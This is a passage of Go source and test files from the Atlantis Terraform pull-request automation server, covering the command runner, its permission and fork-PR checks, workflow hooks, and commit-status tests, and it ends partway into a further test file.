MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, ProjectPlanStatus: models.PassedPolicyCheckStatus, }, setup: func(workingDir *mocks.MockWorkingDir) { When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(false) }, wantErr: assert.NoError, }, { name: "fail by no approved", ctx: command.ProjectContext{ ImportRequirements: []string{raw.ApprovedRequirement}, PullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{IsApproved: false}, }, }, wantFailure: "Pull request must be approved according to the project's approval rules before running import.", wantErr: assert.NoError, }, { name: "fail by no mergeable", ctx: command.ProjectContext{ ImportRequirements: []string{raw.MergeableRequirement}, PullReqStatus: models.PullReqStatus{ MergeableStatus: models.MergeableStatus{IsMergeable: false}, }, }, wantFailure: "Pull request must be mergeable before running import.", wantErr: assert.NoError, }, { name: "fail by diverged", ctx: command.ProjectContext{ ImportRequirements: []string{raw.UnDivergedRequirement}, }, setup: func(workingDir *mocks.MockWorkingDir) { When(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(true) }, wantFailure: "Default branch must be rebased onto pull request before running import.", wantErr: assert.NoError, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { RegisterMockTestingT(t) workingDir := mocks.NewMockWorkingDir() a := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir} if tt.setup != nil { tt.setup(workingDir) } gotFailure, err := a.ValidateImportProject(repoDir, tt.ctx) if !tt.wantErr(t, err, fmt.Sprintf("ValidateImportProject(%v, %v)", repoDir, tt.ctx)) { return } assert.Equalf(t, tt.wantFailure, gotFailure, "ValidateImportProject(%v, %v)", repoDir, tt.ctx) }) } } ================================================ FILE: server/events/command_runner.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "errors" "fmt" "strconv" "github.com/drmaxgit/go-azuredevops/azuredevops" "github.com/google/go-github/v83/github" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/events/vcs/gitea" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics" "github.com/runatlantis/atlantis/server/recovery" "github.com/runatlantis/atlantis/server/utils" "github.com/uber-go/tally/v4" gitlab "gitlab.com/gitlab-org/api/client-go" ) const ( ShutdownComment = "Atlantis server is shutting down, please try again later." ) //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_command_runner.go CommandRunner // CommandRunner is the first step after a command request has been parsed. type CommandRunner interface { // RunCommentCommand is the first step after a command request has been parsed. // It handles gathering additional information needed to execute the command // and then calling the appropriate services to finish executing the command. RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *CommentCommand) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) } //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_github_pull_getter.go GithubPullGetter // GithubPullGetter makes API calls to get pull requests. type GithubPullGetter interface { // GetPullRequest gets the pull request with id pullNum for the repo. GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) } //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_azuredevops_pull_getter.go AzureDevopsPullGetter // AzureDevopsPullGetter makes API calls to get pull requests. type AzureDevopsPullGetter interface { // GetPullRequest gets the pull request with id pullNum for the repo. GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*azuredevops.GitPullRequest, error) } //go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_gitlab_merge_request_getter.go GitlabMergeRequestGetter // GitlabMergeRequestGetter makes API calls to get merge requests. type GitlabMergeRequestGetter interface { // GetMergeRequest gets the pull request with the id pullNum for the repo. GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) (*gitlab.MergeRequest, error) } // CommentCommandRunner runs individual command workflows. type CommentCommandRunner interface { Run(*command.Context, *CommentCommand) } func buildCommentCommandRunner( cmdRunner *DefaultCommandRunner, cmdName command.Name, ) CommentCommandRunner { // panic here, we want to fail fast and hard since // this would be an internal service configuration error. runner, ok := cmdRunner.CommentCommandRunnerByCmd[cmdName] if !ok { panic(fmt.Sprintf("command runner not configured for command %s", cmdName.String())) } return runner } // DefaultCommandRunner is the first step when processing a comment command. type DefaultCommandRunner struct { VCSClient vcs.Client `validate:"required"` GithubPullGetter GithubPullGetter AzureDevopsPullGetter AzureDevopsPullGetter GitlabMergeRequestGetter GitlabMergeRequestGetter GiteaPullGetter *gitea.Client // User config option: Disables autoplan when a pull request is opened or updated. DisableAutoplan bool DisableAutoplanLabel string EventParser EventParsing // User config option: Fail and do not run the Atlantis command request if any of the pre workflow hooks error FailOnPreWorkflowHookError bool Logger logging.SimpleLogging `validate:"required"` GlobalCfg valid.GlobalCfg `validate:"required"` StatsScope tally.Scope `validate:"required"` // User config option: controls whether to operate on pull requests from forks. AllowForkPRs bool // ParallelPoolSize controls the size of the wait group used to run // parallel plans and applies (if enabled). ParallelPoolSize int // AllowForkPRsFlag is the name of the flag that controls fork PR's. We use // this in our error message back to the user on a forked PR so they know // how to enable this functionality. AllowForkPRsFlag string // User config option: controls whether to comment on Fork PRs when AllowForkPRs = False SilenceForkPRErrors bool // SilenceForkPRErrorsFlag is the name of the flag that controls fork PR's. We use // this in our error message back to the user on a forked PR so they know // how to disable error comment SilenceForkPRErrorsFlag string // SilenceVCSStatusNoProjects is whether to set commit status if no projects are found SilenceVCSStatusNoProjects bool CommentCommandRunnerByCmd map[command.Name]CommentCommandRunner `validate:"required"` Drainer *Drainer `validate:"required"` PreWorkflowHooksCommandRunner PreWorkflowHooksCommandRunner `validate:"required"` PostWorkflowHooksCommandRunner PostWorkflowHooksCommandRunner `validate:"required"` PullStatusFetcher PullStatusFetcher `validate:"required"` TeamAllowlistChecker command.TeamAllowlistChecker `validate:"required"` VarFileAllowlistChecker *VarFileAllowlistChecker `validate:"required"` CommitStatusUpdater CommitStatusUpdater `validate:"required"` } // RunAutoplanCommand runs plan and policy_checks when a pull request is opened or updated. func (c *DefaultCommandRunner) RunAutoplanCommand(baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User) { if opStarted := c.Drainer.StartOp(); !opStarted { if commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pull.Num, ShutdownComment, command.Plan.String()); commentErr != nil { c.Logger.Log(logging.Error, "unable to comment that Atlantis is shutting down: %s", commentErr) } return } defer c.Drainer.OpDone() log := c.buildLogger(baseRepo.FullName, pull.Num) defer c.logPanics(baseRepo, pull.Num, log) status, err := c.PullStatusFetcher.GetPullStatus(pull) if err != nil { log.Err("Unable to fetch pull status, this is likely a bug.", err) } scope := c.StatsScope.SubScope("autoplan") timer := scope.Timer(metrics.ExecutionTimeMetric).Start() defer timer.Stop() // Check if the user who triggered the autoplan has permissions to run 'plan'. if c.TeamAllowlistChecker != nil && c.TeamAllowlistChecker.HasRules() { err := c.fetchUserTeams(log, baseRepo, &user) if err != nil { log.Err("Unable to fetch user teams: %s", err) return } ok, err := c.checkUserPermissions(baseRepo, user, "plan") if err != nil { log.Err("Unable to check user permissions: %s", err) return } if !ok { return } } ctx := &command.Context{ User: user, Log: log, Scope: scope, Pull: pull, HeadRepo: headRepo, PullStatus: status, Trigger: command.AutoTrigger, } if !c.validateCtxAndComment(ctx, command.Autoplan) { return } if c.DisableAutoplan { return } if len(c.DisableAutoplanLabel) > 0 { labels, err := c.VCSClient.GetPullLabels(ctx.Log, baseRepo, pull) if err != nil { ctx.Log.Err("Unable to get VCS pull/merge request labels: %s. Proceeding with autoplan.", err) } else if utils.SlicesContains(labels, c.DisableAutoplanLabel) { ctx.Log.Info("Pull/merge request has disable auto plan label '%s' so not running autoplan.", c.DisableAutoplanLabel) return } } ctx.Log.Info("Running autoplan...") cmd := &CommentCommand{ Name: command.Autoplan, } // Only set pending status if silence is not enabled // The PlanCommandRunner will handle the final status decision based on project results if !c.SilenceVCSStatusNoProjects { // Update the combined plan commit status to pending if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Plan); err != nil { ctx.Log.Warn("unable to update plan commit status: %s", err) } } else { ctx.Log.Debug("silence enabled - not setting pending VCS status") } preWorkflowHooksErr := c.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cmd) if preWorkflowHooksErr != nil { if c.FailOnPreWorkflowHookError { ctx.Log.Err("'fail-on-pre-workflow-hook-error' set, so not running %s command.", command.Plan) // Create comment on pull request about the pre-workflow hook failure errMsg := fmt.Sprintf("```\nError: Pre-workflow hook failed: %s\n```", preWorkflowHooksErr.Error()) if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, errMsg, ""); err != nil { ctx.Log.Warn("Unable to create comment about pre-workflow hook failure: %s", err) } // Update the plan or apply commit status to failed switch cmd.Name { case command.Plan: if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Plan); err != nil { ctx.Log.Warn("Unable to update plan commit status: %s", err) } case command.Apply: if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Apply); err != nil { ctx.Log.Warn("Unable to update apply commit status: %s", err) } } return } ctx.Log.Err("'fail-on-pre-workflow-hook-error' not set so running %s command.", command.Plan) } autoPlanRunner := buildCommentCommandRunner(c, command.Plan) autoPlanRunner.Run(ctx, nil) c.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cmd) // nolint: errcheck } // commentUserDoesNotHavePermissions comments on the pull request that the user // is not allowed to execute the command. func (c *DefaultCommandRunner) commentUserDoesNotHavePermissions(baseRepo models.Repo, pullNum int, user models.User, cmd *CommentCommand) { errMsg := fmt.Sprintf("```\nError: User @%s does not have permissions to execute '%s' command.\n```", user.Username, cmd.Name.String()) if err := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, errMsg, ""); err != nil { c.Logger.Err("unable to comment on pull request: %s", err) } } // checkUserPermissions checks if the user has permissions to execute the command func (c *DefaultCommandRunner) checkUserPermissions(repo models.Repo, user models.User, cmdName string) (bool, error) { if c.TeamAllowlistChecker == nil || !c.TeamAllowlistChecker.HasRules() { // allowlist restriction is not enabled return true, nil } ctx := models.TeamAllowlistCheckerContext{ BaseRepo: repo, CommandName: cmdName, Log: c.Logger, Pull: models.PullRequest{}, User: user, Verbose: false, API: false, } ok := c.TeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, user.Teams, cmdName) if !ok { return false, nil } return true, nil } // checkVarFilesInPlanCommandAllowlisted checks if paths in a 'plan' command are allowlisted. func (c *DefaultCommandRunner) checkVarFilesInPlanCommandAllowlisted(cmd *CommentCommand) error { if cmd == nil || cmd.CommandName() != command.Plan { return nil } return c.VarFileAllowlistChecker.Check(cmd.Flags) } // RunCommentCommand executes the command. // We take in a pointer for maybeHeadRepo because for some events there isn't // enough data to construct the Repo model and callers might want to wait until // the event is further validated before making an additional (potentially // wasteful) call to get the necessary data. func (c *DefaultCommandRunner) RunCommentCommand(baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, cmd *CommentCommand) { if opStarted := c.Drainer.StartOp(); !opStarted { if commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, ShutdownComment, ""); commentErr != nil { c.Logger.Log(logging.Error, "unable to comment that Atlantis is shutting down: %s", commentErr) } return } defer c.Drainer.OpDone() log := c.buildLogger(baseRepo.FullName, pullNum) defer c.logPanics(baseRepo, pullNum, log) scope := c.StatsScope.SubScope("comment") if cmd != nil { scope = scope.SubScope(cmd.Name.String()) } timer := scope.Timer(metrics.ExecutionTimeMetric).Start() defer timer.Stop() // Check if the user who commented has the permissions to execute the 'plan' or 'apply' commands if c.TeamAllowlistChecker != nil && c.TeamAllowlistChecker.HasRules() { err := c.fetchUserTeams(log, baseRepo, &user) if err != nil { c.Logger.Err("Unable to fetch user teams: %s", err) return } ok, err := c.checkUserPermissions(baseRepo, user, cmd.Name.String()) if err != nil { c.Logger.Err("Unable to check user permissions: %s", err) return } if !ok { c.commentUserDoesNotHavePermissions(baseRepo, pullNum, user, cmd) return } } // Check if the provided var files in a 'plan' command are allowlisted if err := c.checkVarFilesInPlanCommandAllowlisted(cmd); err != nil { errMsg := fmt.Sprintf("```\n%s\n```", err.Error()) if commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, errMsg, ""); commentErr != nil { c.Logger.Err("unable to comment on pull request: %s", commentErr) } return } headRepo, pull, err := c.ensureValidRepoMetadata(baseRepo, maybeHeadRepo, maybePull, user, pullNum, log) if err != nil { return } status, err := c.PullStatusFetcher.GetPullStatus(pull) if err != nil { log.Err("Unable to fetch pull status, this is likely a bug.", err) } ctx := &command.Context{ User: user, Log: log, Pull: pull, PullStatus: status, HeadRepo: headRepo, Scope: scope, Trigger: command.CommentTrigger, PolicySet: cmd.PolicySet, ClearPolicyApproval: cmd.ClearPolicyApproval, TeamAllowlistChecker: c.TeamAllowlistChecker, } if !c.validateCtxAndComment(ctx, cmd.Name) { return } // Only set pending status if silence is not enabled // The command runners will handle the final status decision based on project results if !c.SilenceVCSStatusNoProjects { // Update the combined plan or apply commit status to pending switch cmd.Name { case command.Plan: if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Plan); err != nil { ctx.Log.Warn("unable to update plan commit status: %s", err) } case command.Apply: if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.Apply); err != nil { ctx.Log.Warn("unable to update apply commit status: %s", err) } } } else { ctx.Log.Debug("silence enabled - not setting pending VCS status") } preWorkflowHooksErr := c.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cmd) if preWorkflowHooksErr != nil { if c.FailOnPreWorkflowHookError { ctx.Log.Err("'fail-on-pre-workflow-hook-error' set, so not running %s command.", cmd.Name.String()) // Create comment on pull request about the pre-workflow hook failure errMsg := fmt.Sprintf("```\nError: Pre-workflow hook failed: %s\n```", preWorkflowHooksErr.Error()) if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, errMsg, ""); err != nil { ctx.Log.Warn("Unable to create comment about pre-workflow hook failure: %s", err) } // Update the plan or apply commit status to failed switch cmd.Name { case command.Plan: if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Plan); err != nil { ctx.Log.Warn("unable to update plan commit status: %s", err) } case command.Apply: if err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Apply); err != nil { ctx.Log.Warn("unable to update apply commit status: %s", err) } } return } ctx.Log.Err("'fail-on-pre-workflow-hook-error' not set so running %s command.", cmd.Name.String()) } cmdRunner := buildCommentCommandRunner(c, cmd.CommandName()) cmdRunner.Run(ctx, cmd) c.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cmd) // nolint: errcheck } func (c *DefaultCommandRunner) getGithubData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) { if c.GithubPullGetter == nil { return models.PullRequest{}, models.Repo{}, errors.New("atlantis not configured to support GitHub") } ghPull, err := c.GithubPullGetter.GetPullRequest(logger, baseRepo, pullNum) if err != nil { return models.PullRequest{}, models.Repo{}, fmt.Errorf("making pull request API call to GitHub: %w", err) } pull, _, headRepo, err := c.EventParser.ParseGithubPull(logger, ghPull) if err != nil { return pull, headRepo, fmt.Errorf("extracting required fields from comment data: %w", err) } return pull, headRepo, nil } func (c *DefaultCommandRunner) getGiteaData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) { if c.GiteaPullGetter == nil { return models.PullRequest{}, models.Repo{}, errors.New("atlantis not configured to support Gitea") } giteaPull, err := c.GiteaPullGetter.GetPullRequest(logger, baseRepo, pullNum) if err != nil { return models.PullRequest{}, models.Repo{}, fmt.Errorf("making pull request API call to Gitea: %w", err) } pull, _, headRepo, err := c.EventParser.ParseGiteaPull(giteaPull) if err != nil { return pull, headRepo, fmt.Errorf("extracting required fields from comment data: %w", err) } return pull, headRepo, nil } func (c *DefaultCommandRunner) getGitlabData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, error) { if c.GitlabMergeRequestGetter == nil { return models.PullRequest{}, errors.New("atlantis not configured to support GitLab") } mr, err := c.GitlabMergeRequestGetter.GetMergeRequest(logger, baseRepo.FullName, pullNum) if err != nil { return models.PullRequest{}, fmt.Errorf("making merge request API call to GitLab: %w", err) } pull := c.EventParser.ParseGitlabMergeRequest(mr, baseRepo) return pull, nil } func (c *DefaultCommandRunner) getAzureDevopsData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) { if c.AzureDevopsPullGetter == nil { return models.PullRequest{}, models.Repo{}, errors.New("atlantis not configured to support Azure DevOps") } adPull, err := c.AzureDevopsPullGetter.GetPullRequest(logger, baseRepo, pullNum) if err != nil { return models.PullRequest{}, models.Repo{}, fmt.Errorf("making pull request API call to Azure DevOps: %w", err) } pull, _, headRepo, err := c.EventParser.ParseAzureDevopsPull(adPull) if err != nil { return pull, headRepo, fmt.Errorf("extracting required fields from comment data: %w", err) } return pull, headRepo, nil } func (c *DefaultCommandRunner) buildLogger(repoFullName string, pullNum int) logging.SimpleLogging { return c.Logger.WithHistory( "repo", repoFullName, "pull", strconv.Itoa(pullNum), ) } func (c *DefaultCommandRunner) ensureValidRepoMetadata( baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, _ models.User, pullNum int, log logging.SimpleLogging, ) (headRepo models.Repo, pull models.PullRequest, err error) { if maybeHeadRepo != nil { headRepo = *maybeHeadRepo } switch baseRepo.VCSHost.Type { case models.Github: pull, headRepo, err = c.getGithubData(log, baseRepo, pullNum) case models.Gitlab: pull, err = c.getGitlabData(log, baseRepo, pullNum) case models.BitbucketCloud, models.BitbucketServer: if maybePull == nil { err = errors.New("pull request should not be nil–this is a bug") break } pull = *maybePull case models.AzureDevops: pull, headRepo, err = c.getAzureDevopsData(log, baseRepo, pullNum) case models.Gitea: pull, headRepo, err = c.getGiteaData(log, baseRepo, pullNum) default: err = errors.New("unknown VCS type–this is a bug") } if err != nil { log.Err(err.Error()) if commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, fmt.Sprintf("`Error: %s`", err), ""); commentErr != nil { log.Err("unable to comment: %s", commentErr) } } return } func (c *DefaultCommandRunner) fetchUserTeams(logger logging.SimpleLogging, repo models.Repo, user *models.User) error { teams, err := c.VCSClient.GetTeamNamesForUser(logger, repo, *user) if err != nil { return err } user.Teams = teams return nil } func (c *DefaultCommandRunner) validateCtxAndComment(ctx *command.Context, commandName command.Name) bool { if !c.AllowForkPRs && ctx.HeadRepo.Owner != ctx.Pull.BaseRepo.Owner { if c.SilenceForkPRErrors { return false } ctx.Log.Info("command was run on a fork pull request which is disallowed") if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, fmt.Sprintf("Atlantis commands can't be run on fork pull requests. To enable, set --%s or, to disable this message, set --%s", c.AllowForkPRsFlag, c.SilenceForkPRErrorsFlag), ""); err != nil { ctx.Log.Err("unable to comment: %s", err) } return false } if ctx.Pull.State != models.OpenPullState && commandName != command.Unlock { ctx.Log.Info("command was run on closed pull request") if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, "Atlantis commands can't be run on closed pull requests", ""); err != nil { ctx.Log.Err("unable to comment: %s", err) } return false } repo := c.GlobalCfg.MatchingRepo(ctx.Pull.BaseRepo.ID()) if !repo.BranchMatches(ctx.Pull.BaseBranch) { ctx.Log.Info("command was run on a pull request which doesn't match base branches") // just ignore it to allow us to use any git workflows without malicious intentions. return false } return true } // logPanics logs and creates a comment on the pull request for panics. func (c *DefaultCommandRunner) logPanics(baseRepo models.Repo, pullNum int, logger logging.SimpleLogging) { if err := recover(); err != nil { stack := recovery.Stack(3) logger.Err("PANIC: %s\n%s", err, stack) if commentErr := c.VCSClient.CreateComment( logger, baseRepo, pullNum, fmt.Sprintf("**Error: goroutine panic. This is a bug.**\n```\n%s\n%s```", err, stack), "", ); commentErr != nil { logger.Err("unable to comment: %s", commentErr) } } } var automergeComment = `Automatically merging because all plans have been successfully applied.` ================================================ FILE: server/events/command_runner_internal_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "testing" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestApplyUpdateCommitStatus(t *testing.T) { cases := map[string]struct { cmd command.Name pullStatus models.PullStatus expStatus models.CommitStatus expNumSuccess int expNumTotal int }{ "apply, one pending": { cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.PlannedPlanStatus, }, { Status: models.AppliedPlanStatus, }, }, }, expStatus: models.PendingCommitStatus, expNumSuccess: 1, expNumTotal: 2, }, "apply, all successful": { cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.AppliedPlanStatus, }, { Status: models.AppliedPlanStatus, }, }, }, expStatus: models.SuccessCommitStatus, expNumSuccess: 2, expNumTotal: 2, }, "apply, one errored, one pending": { cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.AppliedPlanStatus, }, { Status: models.ErroredApplyStatus, }, { Status: models.PlannedPlanStatus, }, }, }, expStatus: models.FailedCommitStatus, expNumSuccess: 1, expNumTotal: 3, }, "apply, one planned no changes": { cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.AppliedPlanStatus, }, { Status: models.PlannedNoChangesPlanStatus, }, }, }, expStatus: models.SuccessCommitStatus, expNumSuccess: 2, expNumTotal: 2, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { csu := &MockCSU{} cr := &ApplyCommandRunner{ commitStatusUpdater: csu, } cr.updateCommitStatus(&command.Context{}, c.pullStatus) Equals(t, models.Repo{}, csu.CalledRepo) Equals(t, models.PullRequest{}, csu.CalledPull) Equals(t, c.expStatus, csu.CalledStatus) Equals(t, c.cmd, csu.CalledCommand) Equals(t, c.expNumSuccess, csu.CalledNumSuccess) Equals(t, c.expNumTotal, csu.CalledNumTotal) }) } } func TestPlanUpdatePlanCommitStatus(t *testing.T) { cases := map[string]struct { cmd command.Name pullStatus models.PullStatus expStatus models.CommitStatus expNumSuccess int expNumTotal int }{ "single plan success": { cmd: command.Plan, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.PlannedPlanStatus, }, }, }, expStatus: models.SuccessCommitStatus, expNumSuccess: 1, expNumTotal: 1, }, "one plan error, other errors": { cmd: command.Plan, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.ErroredPlanStatus, }, { Status: models.PlannedPlanStatus, }, { Status: models.AppliedPlanStatus, }, { Status: models.ErroredApplyStatus, }, }, }, expStatus: models.FailedCommitStatus, expNumSuccess: 3, expNumTotal: 4, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { csu := &MockCSU{} cr := &PlanCommandRunner{ commitStatusUpdater: csu, } cr.updateCommitStatus(&command.Context{}, c.pullStatus, command.Plan) Equals(t, models.Repo{}, csu.CalledRepo) Equals(t, models.PullRequest{}, csu.CalledPull) Equals(t, c.expStatus, csu.CalledStatus) Equals(t, c.cmd, csu.CalledCommand) Equals(t, c.expNumSuccess, csu.CalledNumSuccess) Equals(t, c.expNumTotal, csu.CalledNumTotal) }) } } func TestPlanUpdateApplyCommitStatus(t *testing.T) { cases := map[string]struct { cmd command.Name pullStatus models.PullStatus expStatus models.CommitStatus doNotCallUpdateApply bool // In certain situations, we don't expect updateCommitStatus to call the underlying commitStatusUpdater code at all expNumSuccess int expNumTotal int }{ "all plans success with no changes": { cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.PlannedNoChangesPlanStatus, }, { Status: models.PlannedNoChangesPlanStatus, }, }, }, expStatus: models.SuccessCommitStatus, expNumSuccess: 2, expNumTotal: 2, }, "one plan, one plan success with no changes": { cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.PlannedNoChangesPlanStatus, }, { Status: models.PlannedPlanStatus, }, }, }, doNotCallUpdateApply: true, }, "one plan, one apply, one plan success with no changes": { cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.PlannedNoChangesPlanStatus, }, { Status: models.AppliedPlanStatus, }, { Status: models.PlannedPlanStatus, }, }, }, doNotCallUpdateApply: true, }, "one apply error, one apply, one plan success with no changes": { cmd: command.Apply, pullStatus: models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.PlannedNoChangesPlanStatus, }, { Status: models.AppliedPlanStatus, }, { Status: models.ErroredApplyStatus, }, }, }, expStatus: models.FailedCommitStatus, expNumSuccess: 2, expNumTotal: 3, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { csu := &MockCSU{} cr := &PlanCommandRunner{ commitStatusUpdater: csu, } cr.updateCommitStatus(&command.Context{}, c.pullStatus, command.Apply) if c.doNotCallUpdateApply { Equals(t, csu.Called, false) } else { Equals(t, csu.Called, true) Equals(t, models.Repo{}, csu.CalledRepo) Equals(t, models.PullRequest{}, csu.CalledPull) Equals(t, c.expStatus, csu.CalledStatus) Equals(t, c.cmd, csu.CalledCommand) Equals(t, c.expNumSuccess, csu.CalledNumSuccess) Equals(t, c.expNumTotal, csu.CalledNumTotal) } }) } } type MockCSU struct { CalledRepo models.Repo CalledPull models.PullRequest CalledStatus models.CommitStatus CalledCommand command.Name CalledNumSuccess int CalledNumTotal int Called bool } func (m *MockCSU) UpdateCombinedCount(_ logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, command command.Name, numSuccess int, numTotal int) error { m.Called = true m.CalledRepo = repo m.CalledPull = pull m.CalledStatus = status m.CalledCommand = command m.CalledNumSuccess = numSuccess m.CalledNumTotal = numTotal return nil } func (m *MockCSU) UpdateCombined(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest, _ models.CommitStatus, _ command.Name) error { return nil } func (m *MockCSU) UpdateProject(_ command.ProjectContext, _ command.Name, _ models.CommitStatus, _ string, _ *command.ProjectResult) error { return nil } func (m *MockCSU) UpdatePreWorkflowHook(_ logging.SimpleLogging, _ models.PullRequest, _ models.CommitStatus, _ string, _ string, _ string) error { return nil } func (m *MockCSU) UpdatePostWorkflowHook(_ logging.SimpleLogging, _ models.PullRequest, _ models.CommitStatus, _ string, _ string, _ string) error { return nil } ================================================ FILE: server/events/command_runner_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "errors" "fmt" "regexp" "strings" "testing" "github.com/runatlantis/atlantis/server/core/boltdb" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics/metricstest" "github.com/google/go-github/v83/github" . "github.com/petergtz/pegomock/v4" lockingmocks "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/models/testdata" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" . "github.com/runatlantis/atlantis/testing" "go.uber.org/mock/gomock" ) var projectCommandBuilder *mocks.MockProjectCommandBuilder var projectCommandRunner *mocks.MockProjectCommandRunner var eventParsing *mocks.MockEventParsing var azuredevopsGetter *mocks.MockAzureDevopsPullGetter var githubGetter *mocks.MockGithubPullGetter var gitlabGetter *mocks.MockGitlabMergeRequestGetter var ch events.DefaultCommandRunner var workingDir events.WorkingDir var pendingPlanFinder *mocks.MockPendingPlanFinder var drainer *events.Drainer var deleteLockCommand *mocks.MockDeleteLockCommand var commitUpdater *mocks.MockCommitStatusUpdater var pullReqStatusFetcher *vcsmocks.MockPullReqStatusFetcher // TODO: refactor these into their own unit tests. // these were all split out from default command runner in an effort to improve // readability however the tests were 